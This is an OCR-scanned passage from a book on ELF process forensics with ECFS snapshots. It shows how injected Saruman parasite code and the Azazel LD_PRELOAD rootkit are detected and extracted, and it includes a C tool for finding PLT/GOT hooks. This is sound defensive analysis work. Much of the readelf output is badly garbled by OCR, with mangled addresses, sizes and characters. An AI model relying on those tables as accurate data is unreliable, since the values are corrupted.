: 00000000004005ef
. 0000000000400640
: 00000000004006b0

Size
96
42
50
69

101
2

Type
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC

Bind

GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

Vis

DEFAULT
DEFAULT
DEFAULT
DEFAULT

DEFAULT
DEFAULT

Vis

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

Ndx
UND
UND
UND
UND

UND
UND

Ndx
10
10
10
10
10
10

Name

puts
write

__gmon_start___
fopen

Name

sub_400470
sub_4004d0
sub_4005hbd
sub_4005ef
sub_400640
sub_4006b0

The readelf command allows us to view the symbol tables. Notice that a symbol table
exists for both the dynamic symbols in .dynsym and the symbols for local functions,
which are stored in the . symtab symbol table. ECFS is able to reconstruct the dynamic
symbol table by accessing the dynamic segment and finding DT_SYMTAB.

Note

The .symtab symbol table is a bit trickier but extremely valuable. ECFS uses a special
method of parsing the PT_GNU_EH_FRAME segment that contains frame description entries in
a dwarf format; these are used for exception handling. This information is useful for
gathering the location and size of every single function defined within the binary.

In cases such as functions being obfuscated, tools such as IDA would fail to identify every
function defined within a binary or core file, but the ECFS technology will succeed. This
is one of the major impacts that ECFS makes on the reverse engineering world—a near-
foolproof method of locating and sizing every function and producing a symbol table. In
the host . 16186 file, the symbol table is fully reconstructed. This is useful because it could
aid us in detecting whether or not any PLT/GOT hooks are being used to redirect shared
library functions, and if so, we can identify the actual names of functions that have been

hijacked.

The section header analysis



Now, let’s look at the section header analysis of the host .16186 snapshot.

My version of readelf has been slightly modified so that it recognizes the following
custom types: SHT_INJECTED and SHT_PRELOADED. Without this modification to readelf, it
will simply show the numerical values associated with those definitions. Check out
include/ecfs.h for the definitions, and add them to the readelf source code if you like:

$ readelf -S host.16186
There are 46 section headers, starting at offset 0x255464:

Section Headers:

[Nr]
[ 0]
[ 1]
[ 2]
[ 3]
[ 4]
[ 5]
[ 6]
[ 7]
[ 8]
[ 9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
[17]
[18]
[19]

[20]

Name
Size

0000000000000
.interp
000000000000001C
.note
000000000000133C
.hash
000000000000001C
.dynsym
0000000000000090
.dynstr
0000000000000049
.rela.dyn
0000000000000018
.rela.plt
0000000000000078
.init
000000000000001a
.plt
0000000000000060
._TEXT
0000000000001000
.text
00000000000001e2
Lfini
0000000000000 0069
.eh_frame_hdr
000000000000003C
.eh_frame
0000000000000114
.ctors
00006000000000008
.dtors
000606000000000008
.dynamic
0000000OEONLO1dO
.got.plt
0060606000000000048
._DATA
00060000000001000
.data
000606000000000010

Type

EntSize

NULL
00000000000O6000
PROGBITS
00000000000O6000
NOTE
0000000000OOO000
GNU_HASH
0000000000OOO0060
DYNSYM
0000000000000018
STRTAB
0000000000000018
RELA
0000000000000018
RELA
00000000060000018
PROGBITS
00000000O00OOO060
PROGBITS
00000000060000010
PROGBITS
000000OOOOOOO060
PROGBITS
000000OOOOOOO060
PROGBITS
000000OOOLOOOOO60
PROGBITS
000000OOOLOOOOO60
PROGBITS
000000OOOOOOOO60
PROGBITS
00000000OOOEOLAS8
PROGBITS
00000000OOOEEOLAS8
DYNAMIC
0000000OOOOEOO10
PROGBITS
00000000OOOEEOLO8
PROGBITS
000000OOOOOEOLAO
PROGBITS
0000000OOOOEOLOO

Address
Flags Link Inf
0000000000000000
0
0000000000400238
A 0
000000000000C000
A 0
0000000000400298
A 0
00000000004002b8
A 5
0000000000400348
A 0
00000000004003c0
A 4
00000000004003d8
A 4
0000000000400450
AX 0]
0000000000400470
AX 0]
0000000000400000
AX 0]
00000000004004d0
0
00000000004006b4
AX 0]
00000000004006€8
AX 0]
0000000000400724
AX 0]
00006000000600e10
A 0
0000000000600e18
A (0]
000606000000600e28
WA (0]
000606000000601000
WA 0
0006060000OO0600000
WA (0]
00060000000601040
WA (0]

o

0

0

0

0

0

0

0

0

0

0

0

0

0

0]

0]

0]

0]

0]

0]

0]

0

Offset
Align
00000000
0
00002238
1
000005f0
4
00002298
4
000022b8
8
00002348
1
000023c0
8
000023d8
8
00002450
8
00002470
16
00002000
16
000024d0
16
000026b4
16
000026€8
4
00002728
8
00003e10
8
00003e18
8
00003e28
8
00004000
8
00003000
8
00004040
8



[21]
[22]
[23]
[24]
[25]
[26]
[27]
[28]
[29]
[30]
[31]
[32]
[33]
[34]
[35]
[36]
[37]
[38]
[39]
[40]
[41]
[42]
[43]
[44]

[45]

Section 23 is of particular interest to us; it has been marked as a suspicious ELF object
with the injected denotation:

[23]

.bss
0000000000000008
.heap
0000000000021000
.elf.dyn.0o
0000000000001000

libc-2.19.s0.text

00000000001bb00OO

libc-2.19.s0.unde

00000000001F OO0

libc-2.19.s0.relr

0000000000004000

libc-2.19.so0.data

0000000000002000
1d-2.19.s0.text
0000000000023000
1d-2.19.s0.relro
0000000000001000
1d-2.19.s0.data
0000000000001000
.procfs.tgz
00000000000010dc
.prstatus
00000000000002a0
.fdinfo
0000000000000acs
.siginfo
0000000000000080
.auxvector
0000000000000130
.exepath
000000000000001C
.personality
0000000000000004
.arglist
0000000000000050
.fpregset
0000000000000400
.stack
0000000000021000
.vdso
0000000000002000
.vsyscall
0000000000001000
.symtab
0000600000000
.strtab
0060606000000000042
.shstrtab
0000000NLEOOEO1hI

.elf.dyn.o

PROGBITS
0000000000000
PROGBITS
0000000000000
INJECTED
0000000000000
SHLIB
0000000000000
SHLIB
0000000000000
SHLIB
000000000000
SHLIB
000000000000
SHLIB
000000000OEOOOEO
SHLIB
0000000OCOEOEOOO
SHLIB
00000000COEOEOEO
LOUSER+0O
000000000000001
PROGBITS
00000000150
PROGBITS
0000000000228
PROGBITS
000000080
PROGBITS
00000008
PROGBITS
000000008
PROGBITS
oJe]oje]ojeoJefojefofefojeloz:
PROGBITS
joJe]oje]ojefoJefojefo]efo]efo]
PROGBITS
0000000200
PROGBITS
joJe]oje]ojefoJefo]efo]efo]eo]e)
PROGBITS
oJe]oje]ojefoJefojefolefo]efo]e)
PROGBITS
0000000OCOEOEOEO
SYMTAB
0000000000018
STRTAB
oJe]oje]ojeoJefojefolefo]efo]e)
STRTAB
joJe]oje]ojefoJefojefo]efo]efo]¢)

INJECTED

0000000000601050
WA 0
0000000000e9c000
WA 0
00007fba37f1b000
AX 0
00007fba3811e000
A 0
00007fba382d9000
A 0
00007fba384d8000
A 0
00007fba384dcO00
A 0
00007fbha384€3000
A 0
00007fbha38705000
A 0
00007fbha38706000
A 0
0000000000000000
0
0000000000000000
0
0000000000000000
0
0000000000000000
0
0000000000000000
0
0000000000000000
0
0000000000000000
0
0000000000000000
0
0000000000000000
0
00007fff4447c000
WA 0
00007fff444a9000
WA 0
fFFfffffff600000
WA 0
0000000000000000
44
0000000000000000
0
0000000000000000
0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0]

0

0]

0]

0

0]

0

0]

0]

00004050
8
00006000
8
00038000
8
0003b000O
8
0016000
8
0016000
8
001fateo
8
00201000
8
0022a000
8
0022b000O
8
00254388
8
00253000
8
002532a0
4
00253d68
4
00253de8
8
00253f18
1
00253134
1
00253138
1
00253188
8
0022d0006
8
00241000
8
00251000
8
0025619d
4
0025622d
1
00255fe4
1

00007fba37f1beOO 0©OO38000
0000000000100 COOOEOOOEEOOEEOO AX 0]

0

8



When the ECFS heuristics detects an ELF object as suspicious and it can’t find that
particular object in its list of mapped shared libraries, it names the section in the following
format:

.elf.<type>.<count>
The type can be one of four:

ET_NONE
ET_EXEC
ET_DYN
ET_REL

In our example, it is obviously ET_DYN, represented as dyn. The count is simply the index
of injected objects that have been found. In this case, the index is 0 as it is the first and
only injected ELF object that was found in this particular process.

The type INJECTED obviously denotes that the section contains an ELF object that was
determined suspicious or injected through unnatural means. In this particular case, the
process was infected with Saruman (described earlier), which injects a Position-
Independent Executable (PIE). A PIE executable is of type ET_DYN, similar to shared
libraries, which is why ECFS has marked it as such.



Extracting parasite code with readecfs

We have spotted a section in the ECFS core file that relates to parasitic code, which is an
injected PIE executable in this case. The next step is to investigate the code itself. This can
be done in one of the following ways: the objdump utility or a more advanced
disassembler such as IDA pro can be used to navigate to the section called .elf.dyn.0, or
the readecfs utility can first be used to extract the parasitic code from the ECFS core file:

$ readecfs -0 host.16186 .elf.dyn.0 parasite_code.exe

Command line: ./host

readecfs output for file host.16186
Executable path (.exepath): /home/ryan/git/saruman/host

[+] Copying section data from '.elf.dyn.0' into output file

'parasite_code.exe'

We now have a singular copy of the parasite code that has been extracted from the process
image, thanks to ECFS. The task of identifying this particular malware and then extracting

it would be an extremely tedious task without ECFS. Now we can examine
parasite_code.exe as a separate file, open it up in IDA, and so on:

root@elfmaster:~/ecfs/cores# readelf -1 parasite_code.exe
readelf: Error: Unable to read in 0x40 bytes of section headers
readelf: Error: Unable to read in 0x780 bytes of section headers

Elf file type is DYN (Shared object file)

Entry point 0xdb@
There are 9 program headers,

Program Headers:

starting at offset 64

Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align

PHDR 0x0000000000000040 OXOOEOOOEOOEONOE40 OXOEOOOEOOEOOOEO40
0x00000000000001f8 OXOOEOOAENOEOOO1F8 R E 8

INTERP 0xX0000000000000238 OXOOEOOOEOOEONO238 OXOEOOEEONOEOOOO238
0x000000000000001c OXOOEOONOEOOOEOOA1C R 1

[Requesting program interpreter: /1ib64/1d-1inux-x86-64.s0.2]

LOAD 0X0000000000EONOEO OXOOEOOEEOOEOOOENO OXOEOOEEONOEOOOEOOO
0x0000000000001934 OXOOEOOOOOOEM01934 R E 200000

LOAD 0x0000000000001dfO OXOOEOOOEOOE201dfO OXOEOOEEOOEO201dfO
OxX00000000O0OOLE0328 OXOOOOELEOOOEEOO330 RW 200000

DYNAMIC OX0000000OO0001eO8 OXOOOOOOOOOO201e08 OXOOOOOOOOOO201e08
OX00000000000001d0 OXOCOEOEOCO000001dO RW 8

NOTE OX00000OOOOO000254 OXOOOOOOOOOOEEO254 OXOOEEOOOOOOOOO254
OX00000OOOOOO00044 OXOOOOOOOOOOEEE044 R 4

GNU_EH_FRAME 0x00000000000017e0 O0Xx00000000000017e0 OXxOO000000000017e0
OX0000OOOOOLEOOOO3C OXOOOOOOOEEEEEEB3Cc R 4

GNU_STACK OX00000OOOOLOOO0OOOO OXOOOOOOEEELELEEOOOO OXOEEEOOOOOEEELEEOO
OX00000OOOEOO00OOO OXOOOOOOEEEEEEOOOO RW 10

GNU_RELRO OX0000000000001dfO0 OXOCOCOO0000201dfO OXOEOEOEOEO0201df0O
OX000000OOOLO00210 OXOOOOOOOEEEEEE210 R 1

readelf: Error: Unable to read in 0x1d0 bytes of dynamic section



Notice that readelf is complaining in the preceding output. This is because the parasite

that we extracted does not have a section header table of its own. In future, the readecfs
utility will be able to reconstruct a minimal section header table for mapped ELF objects
that are extracted from the overall ECFS core file.



Analyzing the Azazel userland rootkit

As mentioned in Chapter 7, Process Memory Forensics, the Azazel userland rootkit is a
userland rootkit that infects a process by means of LD_PRELOAD, where the Azazel shared
library is linked to the process, and hijacks various 1ibc functions. In Chapter 7, Process
Memory Forensics, we used GDB and readelf to inspect a process for this particular
rootkit infection. Now let’s try the ECFS method to do this type of process introspection.
The following is an ECFS snapshot of a process from the executable host2 that has been
infected with the Azazel rootkit.

The symbol table of the host2 process reconstructed

Now, this is the symbol table of host2 with process reconstruction:

$ readelf -s host2.7254

Symbol table '.dynsym' contains 7 entries:

Num: Value Size Type Bind Vis Ndx Name
0: 000OOOEOOOEOOLOO O NOTYPE LOCAL DEFAULT UND
1: 00007f0a0dOedO70 ® FUNC GLOBAL DEFAULT UND unlink
2: 00007f0a0de6fe30 0 FUNC GLOBAL DEFAULT UND puts
3: 00007f0addObcefO 0 FUNC GLOBAL DEFAULT UND opendir
4: 00007f0a0d021ddo ©® FUNC GLOBAL DEFAULT UND

__1libc_start_main
5: 000000000000006000 NOTYPE WEAK DEFAULT UND __gmon_start__
6: 0000000000000 O FUNC GLOBAL DEFAULT UND fopen

o

Symbol table '.symtab' contains 5 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000004004b0O 112 FUNC GLOBAL DEFAULT 10 sub_4004b0o
0000000000400520 42 FUNC GLOBAL DEFAULT 10 sub_400520
000000000040060d 68 FUNC GLOBAL DEFAULT 10 sub_40060d
0000000000400660 101 FUNC GLOBAL DEFAULT 10 sub_400660
00000000004006d0 2 FUNC GLOBAL DEFAULT 10 sub_4006d0

A WNE

We can see from the preceding symbol table that host2 is a simple program and has only a
few shared library calls (this is shown in the .dynsym symbol table): unlink, puts,
opendir, and fopen.

The section header table of the host2 process reconstructed

Let’s see what the section header table of host2 looks like with process reconstruction:

$ readelf -S host2.7254
There are 65 section headers, starting at offset 0x27elee:

Section Headers:

[Nr] Name Type Address Offset
Size EntSize Flags Link 1Info Align

[ 9] NULL 000000OOOEEEEEEO OO
000000OOEEELEEEOO OOOEEEOOOOOOOLOL 0] 0] (0]

[ 1] .interp PROGBITS 00000000OE400238 00002238

000000000000001Cc 0OOOEOOOEOOOEOOO A 0] 0] 1



[ 4]
[ 5]
[ 6]

[ 9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
[17]
[18]
[19]
[20]
[21]
[22]
[23]
[24]
[25]
[26]
[27]
[28]

[29]

.hote
0000000000001065C
.hash
000000000000001C
.dynsym
000000OOOEOOOMa8
.dynstr
0000000000000652
.rela.dyn
0000000000018
.rela.plt
00000000OEOOOL0
.init
00000000OLLOM001a
.plt
00000000OLEONOO70
._TEXT
00000000OLEON16000
.text
00000000LEO0E01b2
fini
00000000ORONOA0I9
.eh_frame_hdr
0000000000000 34
.eh_frame
00000000OLOOOLT4
.ctors
00000000OEOOOLB8
.dtors
0000000000008
.dynamic
00000000000001d0
.got.plt
00000000050
._DATA
00000000OEOO1000
.data
00000000OLEOOO010
.bss
0000000000008
.heap
0000000000021000

libaudit.so0.1.0.0

0000OOOOOOO190060

libaudit.so0.1.0.0

00000000001ffEO0

libaudit.so0.1.0.0

0000000001000

libaudit.so0.1.0.0

0000000001060

libpam.so0.0.83.1.

000000000000d0O0O

libpam.so0.0.83.1.

00000000001 OO0

libpam.so0.0.83.1.

00000CO0OOEOO1O60

NOTE
0000000000000000
GNU_HASH
0000000000000
DYNSYM
0000000000018
STRTAB
00000OCOO0O00018
RELA
0000000OOOO60018
RELA
0000000060018
PROGBITS
0000000000000
PROGBITS
0000OOCOOOO60010
PROGBITS
0000000OCOEOEOOO
PROGBITS
00000000000
PROGBITS
00000OEOEOEOEOEO
PROGBITS
jo]e]oje]ojefo]efojefo]elo]efo]e)
PROGBITS
jofe]ojeojefo]efojefo]elo]elo]e)
PROGBITS
00000000068
PROGBITS
00000OCOEOEOOOOS
DYNAMIC
0000000010
PROGBITS
00000OEOEOEOOOOS
PROGBITS
joJe]oje]ojefoJefojefo]efo]efo]e)
PROGBITS
jo]e]oje]ojeoJefojefo]efo]efo]e)
PROGBITS
joJe]oje]ojefo]efo]efolefo]eo]e)
PROGBITS
joJe]oje]ojeo]efojefolefo]eo]¢)
SHLIB
000000000
SHLIB
joJe]oje]ojefoJefo]efo]efo]eo]e)
SHLIB
oJe]oje]oje]o]efojefolefo]efo]¢)
SHLIB
joJe]oje]ojefoJefojefolefo]efo]¢)
SHLIB
oJe]oje]ojeoJefojefolefo]efo]e)
SHLIB
oJe]oje]ojefoJefoJefolefo]eo]e)
SHLIB
oJe]oJe]oje]oJefojefolefo]efo]e)

0000000000000
A 0
0000000000400298
A 0
00000000004002b8
A 5
0000000000400360
A 0
00000000004003€0
A 4
000000000040038
A 4
0000000000400488
AX 0
00000000004004b0O
AX 0
0000000000400000
AX 0
0000000000400520
0
00000000004006d4
AX 0
0000000OO0400708
AX 0
000000000400 73C
AX 0
0000000000600e10
A 0
0000000000600e18
A 0
0000000000600e28
WA 0
0000000O0O601000
WA 0
000000600000
WA 0
0000000000601048
WA 0
000000601058
WA 0
000000602000
WA 0
00000030010000060
A 0
00000030010190060
A 0
0000003001218000
A 0
0000003001219000
A 0
0000003003400000
A 0
000000300340d000
A 0
00000O300360cO00
A 0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0]

0

0]

0]

0

0]

0

0]

0]

0]

0

0]

00000900
4
00002298
4
000022b8
8
00002360
1
000023e0
8
0000238
8
00002488
8
000024b0
16
00002000
16
00002520
16
000026d4
16
00002708
4
00002740
8
00003e10
8
00003618
8
00003628
8
00004000
8
00003000
8
00004048
8
00004058
8
00005000
8
00026000
8
0003000
8
0003000
8
00040000
8
00041000
8
0004e000
8
0004e000
8



[30]
[31]
[32]
[33]
[34]
[35]
[36]
[37]
[38]
[39]
[40]
[41]
[42]
[43]
[44]
[45]
[46]
[47]
[48]
[49]
[50]
[51]
[52]
[53]
[54]
[55]
[56]

[57]

libpam.so0.0.83.1.
0000OOONLEONL10066
libutil-2.19.s0.t
00000O0NOEONL2000
libutil-2.19.s0.u
00000O0NEE1ffOe0
libutil-2.19.s0.r
00000O0NOEONL10066
libutil-2.19.so0.d
00000OONOEONO1006
1libdl-2.19.s0.tex
0000OOOEOOO3000
1libdl-2.19.s0.und
000000001 FTfOe0
libdl-2.19.s0.rel
0000000NOONO1000
1libdl-2.19.s0.dat
0000000NOEONO1000
libc-2.19.s0.text
00000000001bboGO
libc-2.19.s0.unde
000000001 fO00
libc-2.19.s0.relr
0000000000004000
libc-2.19.s0.data
000000000000 2000
azazel.so.text
0000000OONOOE8000
azazel.so.undef
00000000001 ffO00
azazel.so.relro
0000000000001000
azazel.so.data
0000000000001000
1d-2.19.s0.text
0000000000023000
1d-2.19.s0.relro
0000000000001000
1d-2.19.so0.data
0000000000001000
.procfs.tgz
00000000000011b6
.prstatus
000000000000 150
.fdinfo
000000OOOOOME0acs8
.siginfo
0000000OOOOEOO80
.auxvector
000000OOOONOEO130
.exepath
000000000000 1C
.personality
0000000OOOOEOL04
.arglist
00000OOOAOOEOL50

SHLIB
0000000000000
SHLIB
0000000000000
SHLIB
000000000000
SHLIB
000000000000
SHLIB
0000000000000
SHLIB
000000000000
SHLIB
000000000000
SHLIB
0000000OCOEOEOEO
SHLIB
0000000OCOEOEOOO
SHLIB
000000000000
SHLIB
00000OEOEOEOEOEO
SHLIB
oJe]oje]ojefo]efojefo]elo]elo]e)
SHLIB
joJe]oje]ojefojefojefo]elo]elo]e)
PRELOADED
00000OCOEOEOEOEO
PRELOADED
00000OEOEOEOOOEO
PRELOADED
oJe]oje]ojefo]efo]efo]efo]efo]¢)
PRELOADED
oJe]oje]ojeo]efojefo]efo]efo]¢)
SHLIB
joJe]oje]ojeoJefojefolefo]efo]e)
SHLIB
00000OEOEOEOEOEO
SHLIB
joJe]oje]ojefojefojefo]efo]eo]e)
LOUSER+0O
000000000O00001
PROGBITS
0000000000150
PROGBITS
0000000000000228
PROGBITS
00000080
PROGBITS
oJe]oje]ojefoJefojefolefoJe]o}s)
PROGBITS
oJe]oje]ojefojefojefolefoJe]o}s)
PROGBITS
oJe]oJe]ojeoJefojefolefoJefoz:
PROGBITS
0000000000000001

000000300360d000
A 0
00007f0adchf9000
A 0
00007f0adcbfboOOO
A 0
00007f0a@cdfaco0
A 0
00007f0a@cdfbOOO
A 0
00007f0aBcdfcO00
A 0
00007f0aBcdffo00
A 0
00007f0afctfed00
A 0
00007f0aecfffoo0
A 0
00007f0a@dOOEOO0O
A 0
00007f0a@d1bbo00O
A 0
00007f0a@d3babo0
A 0
00007f0a@d3belOO
A 0
00007f0a@d3c5000
A 0
00007f0a@d3cdo00
A 0
00007f0a@d5cco00
A 0
00007f0a@d5cdo00
A 0
00007f0a@d5ce000
A 0
00007f0a@d7feO00
A 0
00007f0a@d7f1000
A 0
oJe]oJefojefoJefo]efo]efo]efo]¢)
0
o]e]oJefojefo]efojefolefo]efo]e)
0
000000060
0
oJe]oje]oJefoJefo]efolefo]efo]e)
0
o]e]oJeojefoJefo]efolefo]efo]e)
0
oJe]oJeojefoJefojefolefo]efo]¢)
0
oJe]oJe]ojefo]efo]efolefo]efo]e)
0
0000000060
0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0]

0

0]

0]

0

0]

0

0]

0]

0]

0

0]

00041000
8
00050000
8
00052000
8
00052000
8
00053000
8
00054000
8
00057000
8
00057000
8
00058000
8
00059000
8
00214000
8
00214000
8
00218000
8
0021000
8
00227000
8
00227000
8
00228000
8
00229000
8
00254000
8
00255000
8
0027d038
8
0027c000
8
0027c150
4
0027ccl8
4
0027cc98
8
0027cdc8
1
0027cde4
1
0027cde8
1



[58]
[59]
[60]
[61]
[62]
[63]

[64]

.fpregset
00000000000060200
.stack
0000000000021000
.vdso
0000000000002000
.vsyscall
0000000000001000
.symtab
00000000000060078
.strtab
0000000000060037
.shstrtab
0000000000000348

PROGBITS
0000000000000200
PROGBITS
0000000000000
PROGBITS
0000000000000
PROGBITS
0000000000000
SYMTAB
0000000000000018
STRTAB
000000000000
STRTAB
0000000OCOEOEOEO

0000000000000000
0
00007ffdb9161000
WA 0
00007ffdb918f000
WA 0
frffffffffe600000
WA 0
000000000OEOEO00
63
0000000000000
0
0000000OCOEOEO00
0

0

0

0

0

0

0

0

0027ce38
8
00257000
8
00279000
8
0027b000O
8
00271576
4
0027f5ee
1
0027f22e
1

The ELF sections 43 through 46 are all immediately suspicious because they are marked
with the PRELOADED section type, which indicates that they are mappings from a shared
library that was preloaded with the LD_PRELOAD environment variable:

PRELOADED 00007f0a@d3c5000 0021000
000000000 A 0 0] 8
PRELOADED 00007f0a@d3cdOOO 00227000
00000OEOEOOEOEO A 0 0 8
PRELOADED 00007f0a@d5ccOOO0 00227000
joJe]oje]ojefojefojefo]efo]elo]e) A 0 0 8
PRELOADED 00007f0a@d5cd0OO 00228000
jofe]oje]ojefoJefojefo]elo]elo]e) A 0 0] 8

azazel.so.text
0000000OOOO8000
azazel.so.undef
00000000ER1FTfO00
azazel.so.relro
0000000NOOOO1000
azazel.so.data
000000000OO1000

[43]
[44]
[45]

[46]

Various userland rootkits, such as Azazel, use LD_PRELOAD as their means of injection. The
next step is to look at the PLT/GOT (global offset table) and check whether it contains any
pointers to functions outside of the respective boundaries.

You might recall from previous chapters that the GOT contains a table of pointer values
that should point to either of these:

e A PLT stub in the corresponding PLT entry (remember the lazy linking concepts from
Chapter 2, The ELF Binary Format)

e [f the particular GOT entry has already been resolved by the linker in some way (lazy
or strict linking), then it will point to the shared library function denoted by the
corresponding relocation entry from the .rela.plt section of the executable

Validating the PLT/GOT with ECFS

Understanding and systematically validating the integrity of the PLT/GOT is tedious by
hand. Fortunately, there is a very easy way to do this with ECFS. If you prefer to write
your own tool, then you should use the 1ibecfs function that is designed specifically for

this purpose:
ssize_t get_pltgot_info(ecfs_elf_t *desc, pltgot_info_t **pginfo)

This function allocates an array of structs, each element pertaining to a single PLT/GOT
entry.

The C struct named pltgot_info_t has the following format:



typedef struct pltgotinfo {
unsigned long got_site; // addr of the GOT entry itself
unsigned long got_entry_va; // pointer value stored in the GOT entry
unsigned long plt_entry_va; // the expected PLT address
unsigned long shl _entry_va; // the expected shared lib function addr
} pltgot_info_t;

An example of using this function can be found in
ecfs/libecfs/main/detect_plt_hooks.c. This is a simple demonstrative tool for
detecting shared library injection and PLT/GOT hooks, which is shown and commented
for clarity later in this chapter. The readecfs utility also demonstrates the use of the
get_pltgot_info() function when passed the -g flag.

The readecfs output for PLT/GOT validation

- readecfs output for file host2.7254

- Executable path (.exepath): /home/user/git/azazel/host2
- Command line: ./host2

- Printing out GOT/PLT characteristics (pltgot_info_t):

gotsite gotvalue gotshlib pltval symbol

0x601018 Ox7f0a0d3c8c81 0Ox7f0addeedO70 0x4004c6 unlink

0x601020 Ox7f0a0de6fe30 0Ox7f0adde6fe30 0x4004d6 puts

0x601028 Ox7f0a@d3c8d77 0Ox7f0adddbcefo 0x4004e6 opendir

0x601030 Ox7f0a0de21ddd® 0Ox7f0acd021ddo 0x4004f6 __libc_start_main

The preceding output is easy to parse. The gotvalue should have an address that matches
either gotshlib or pltval. We can see, however, that the very first entry, which is for the
symbol unlink, has an address 6x7fea®d3c8c81. This does not match with the expected
shared library function or PLT value.

More investigation would show that the address points to a function within azazel. so.
From the preceding output, we can see that the only two functions that have not been
tampered with are puts and __1ibc_start_main. For an even greater insight into the
detection process, let’s take a look at the source code for a tool that does automatic
PLT/GOT validation as part of its detection capabilities. This tool is called
detect_plt_hooks and was written in C. It utilizes the libecfs API to load and parse
ECFS snapshots.

Note that the following code has approximately 50 lines of source code, which is quite
remarkable. If we were not using ECFS or libecfs, it would take approximately 3,000 lines
of C code to accurately analyze a process image for shared library injection and PLT/GOT
hooks. I know this because I have done it, and using libecfs is by far the most painless
way to go about coding such tools.

Here’s a code example using detect_plt_hooks.c:

#include "../include/libecfs.h"

int main(int argc, char **argv)
{
ecfs_elf_t *desc;
ecfs_sym_t *dsyms;
char *progname;



int 1i;
char *1libname;
long evil _addr = 0;

if (argc < 2) {
printf("Usage: %s <ecfs_file>\n", argv[0]);

exit(0);
3
/*
* Load the ECFS file and creates descriptor
*/
desc = load_ecfs_file(argv[1]);
/*
* Get the original program name
*/

progname = get_exe_path(desc);

printf("Performing analysis on '%s' which corresponds to executable:
%s\n'", argv[1], progname);

/*
* Look for any sections that are marked as INJECTED
* or PRELOADED, indicating shared library injection
* or ELF object injection.
*/
for (1 = 0; 1 < desc->ehdr->e_shnum; i++) {
if (desc->shdr[i].sh_type == SHT_INJECTED) {
libname = strdup(&desc->shstrtab[desc->shdr[i].sh_name]);
printf("[!] Found malicously injected ET_DYN (Dynamic ELF): %s
- base: %1x\n", libname, desc->shdr[i].sh_addr);
} else
if (desc->shdr[i].sh_type == SHT_PRELOADED) {
libname = strdup(&desc->shstrtab[desc->shdr[i].sh_name]);
printf("['] Found a preloaded shared library (LD_PRELOAD): %s -
base: %1x\n", libname, desc->shdr[i].sh_addr);

b
by
/*
* Load and validate the PLT/GOT to make sure that each
* GOT entry points to its proper respective location
* in either the PLT, or the correct shared lib function.
*/
pltgot_info_t *pltgot;
int gotcount = get_pltgot_info(desc, &pltgot);
for (1 = 0; i < gotcount; i++) {
if (pltgot[i].got_entry_va != pltgot[i].shl_entry_va &&
pltgot[i].got_entry_va != pltgot[i].plt_entry_va &&
pltgot[i].shl_entry_va != 0) {
printf("[!'] Found PLT/GOT hook: A function is pointing at %1x
instead of %1x\n",
pltgot[i].got_entry_va, evil_addr =
pltgot[i].shl_entry_va);
/*
* Load the dynamic symbol table to print the
* hijacked function by name.



*/
int symcount = get_dynamic_symbols(desc, &dsyms);
for (1 = 0; 1 < symcount; i++) {
if (dsyms[i].symval == evil addr) {
printf("[!] %1lx corresponds to hijacked function:
%s\n'", dsyms[i].symval, &dsyms[i].strtab[dsyms[i].nameoffset]);
break;






The ECFS reference guide

The ECFS file format is both simple and complicated! The ELF file format is complex in
general, and ECFS inherits those complexities from a structural point of view. On the
other side of the token, ECFS helps make navigating a process image quite easy if you
know what specific features it has and what to look for.

In previous sections, we gave some real-life examples of utilizing ECFS that demonstrated
many of its primary features. However, it is also important to have a simple and direct
reference to what those characteristics are, such as which custom sections exist and what
exactly they mean. In this section, we will provide a reference for the ECFS snapshot files.



ECFS symbol table reconstruction

The ECFS handler uses advanced understanding of the ELF binary format and even the
dwarf debugging format—specifically with the dynamic segment and the GNU_EH_FRAME
segment—to fully reconstruct the symbol tables of the program. Even if the original
binary has been stripped and has no section headers, the ECFS handler is intelligent
enough to rebuild the symbol tables.

I have personally never encountered a situation where symbol table reconstruction failed
completely. It usually reconstructs all or most symbol table entries. The symbol tables can
be accessed using a utility such as readelf or readecfs. The libecfs API also has several
functions:

int get_dynamic_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms)
int get_local_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms)

One function gets the dynamic symbol table and the other gets the local symbol table
—.dynsym and . symtab, respectively.

The following is the reading symbol table with readelf:
$ readelf -s host.6758

Symbol table '.dynsym' contains 8 entries:

Num: Value Size Type Bind Vis Ndx Name
0: 00007f3dfd48b00O0O © NOTYPE LOCAL DEFAULT UND
1: 00007f3dfd4f9730 0 FUNC GLOBAL DEFAULT UND fputs
2: 00007f3dfd4acddo 0 FUNC GLOBAL DEFAULT UND

__1ibc_start_main

3: 00007f3dfd4f9220 @ FUNC GLOBAL DEFAULT UND fgets
4: 0000000000000000 © NOTYPE WEAK DEFAULT UND __gmon_start__
5: 00007f3dfd4f94e0 @ FUNC GLOBAL DEFAULT UND fopen
6: 00007f3dfd54bdoo O FUNC GLOBAL DEFAULT UND sleep
7: 00007f3dfd84a870 8 OBJECT GLOBAL DEFAULT 25 stdout

Symbol table '.symtab' contains 5 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000O0E4004fO 112 FUNC GLOBAL DEFAULT 10 sub_4004f0
: 0000000400560 42 FUNC GLOBAL DEFAULT 10 sub_400560
: 000000000040064d 138 FUNC GLOBAL DEFAULT 10 sub_40064d
: 00000000004006e0 101 FUNC GLOBAL DEFAULT 10 sub_4006e0
! O000000000400750 2 FUNC GLOBAL DEFAULT 10 sub_400750

A OWNE



ECFS

section headers

The ECFS handler reconstructs most of the original section headers that a program may
have had. It also adds quite a few new sections and section types that can be very useful
for forensic analysis. Section headers are identified by both name and type and contain
data or code.

Parsing section headers is very easy, and therefore they are very useful for creating a map
of the process memory image. Navigating the entire process layout through section
headers is a lot easier than having only program headers (such as with regular core files),
which don’t even have string names. The program headers are what describe the segments
of memory, and the section headers are what give context to each part of a given segment.
Section headers help give a much higher resolution to the reverse engineer.

Section
header

Description

._TEXT

This points to the text segment (not the . text section). This makes locating the text segment possible
without having to parse the program headers.

._DATA

This points to the data segment (not the .data section). This makes locating the data segment possible
without having to parse the program headers.

.stack

